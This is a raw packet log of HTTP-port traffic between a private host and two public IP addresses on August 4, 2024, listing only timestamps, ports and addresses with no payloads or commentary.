Aug 4, 2024 10:57:39.294043064 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294054031 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294075966 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294111013 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294137001 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294146061 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294181108 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294193029 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294218063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294253111 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294276953 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294286966 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294322968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294329882 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294359922 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294457912 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294471025 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294491053 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294529915 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294543982 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294583082 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294615984 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294651985 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294665098 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294689894 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294702053 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294723988 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294759035 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294792891 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294812918 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294830084 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294838905 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294863939 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294899940 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294914007 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.294934988 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.294970989 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.295022964 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.378123999 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.378182888 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.378290892 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.595946074 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.595978022 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.595995903 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596107960 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596400023 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596415043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596431971 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596452951 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596473932 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596580982 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596596956 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596612930 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596627951 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596645117 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596645117 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596689939 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596745014 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596760988 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596777916 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596788883 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596791983 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596810102 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596815109 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596828938 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596860886 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.596908092 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596923113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.596961021 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597105980 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597124100 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597141027 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597152948 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597157955 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597181082 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597439051 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597455025 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597470045 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597486973 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597486973 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597503901 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597512007 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597520113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597537041 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597551107 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597567081 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597575903 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597609043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597624063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597640038 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597654104 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597655058 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597672939 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597690105 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597693920 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597707033 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597713947 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597743988 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.597754002 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597775936 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597791910 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.597814083 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598493099 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598509073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598526001 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598541021 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598542929 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598558903 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598576069 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598583937 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598592043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598613977 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598634005 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598653078 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598670006 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598685026 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598701954 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598714113 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598716974 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598733902 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598742008 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598756075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598769903 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598805904 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.598850012 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.598886967 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:39.605334044 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:39.605434895 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:42.323482990 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:42.328383923 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:42.328619003 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:42.328619003 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:42.333766937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.499996901 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500010014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500024080 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500070095 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.500117064 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500128984 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500144958 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500158072 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500166893 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.500180006 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500188112 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.500215054 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500216961 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.500226021 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.500277042 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.505039930 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.505053043 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.505064964 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.505095959 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.545789957 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.849347115 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849381924 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849416018 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849436045 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.849467993 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849510908 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.849894047 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849926949 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849958897 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.849967003 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.850927114 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.850960970 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.850986004 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.852032900 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852067947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852080107 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.852102995 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852143049 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.852392912 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852427959 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852463007 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852493048 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.852516890 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852554083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:43.852586985 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:43.905220985 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.199523926 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199562073 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199596882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199630976 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199640036 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.199666977 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199688911 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.199702978 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199738979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199743986 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.199776888 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199812889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199829102 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.199848890 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.199893951 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.200058937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200094938 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200129032 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200148106 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.200161934 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200196028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200212002 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.200232983 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200267076 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200284958 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.200300932 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200336933 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.200340033 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.248915911 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.544327974 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544343948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544354916 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544536114 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544550896 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544569969 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.544601917 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.544797897 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544825077 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544836998 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.544975996 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.545171976 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.545232058 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.545243979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.545258045 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.545269966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.545284033 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.545309067 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.546081066 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.546106100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.546117067 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.546175957 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.546252012 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.546358109 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.546405077 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.546992064 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547009945 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547029972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547044992 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547058105 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547081947 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.547863960 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547921896 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547949076 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.547950029 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547965050 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547977924 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.547985077 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.548011065 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.548724890 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.592645884 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.892786980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.892957926 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.892968893 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.892987013 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.892997026 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893009901 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893023968 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893126965 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.893172979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893186092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893197060 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.893217087 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893228054 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.893229008 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893241882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893274069 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.893276930 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893290043 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893300056 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.893301010 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893315077 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.893357992 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.893402100 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.894135952 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894146919 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894154072 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894190073 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894201040 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894216061 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894224882 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.894229889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894252062 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.894252062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894268036 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.894296885 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.895047903 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895073891 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895087004 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895113945 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.895117998 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895133018 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895133972 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.895167112 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895168066 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.895181894 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895200014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895212889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:44.895231962 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:44.895250082 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.247745037 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247756958 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247766972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247780085 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247791052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247802973 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247807980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247813940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247834921 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247847080 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247857094 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247864008 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247879028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247885942 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247895956 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247909069 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247920990 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247932911 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247944117 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247956038 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247977972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.247989893 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248002052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248007059 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248007059 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248007059 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248007059 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248007059 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248017073 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248028994 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:45.248039961 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248039961 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248039961 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248039961 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:45.248042107 CEST	80	49756	27.221.16.149	192.168.2.7
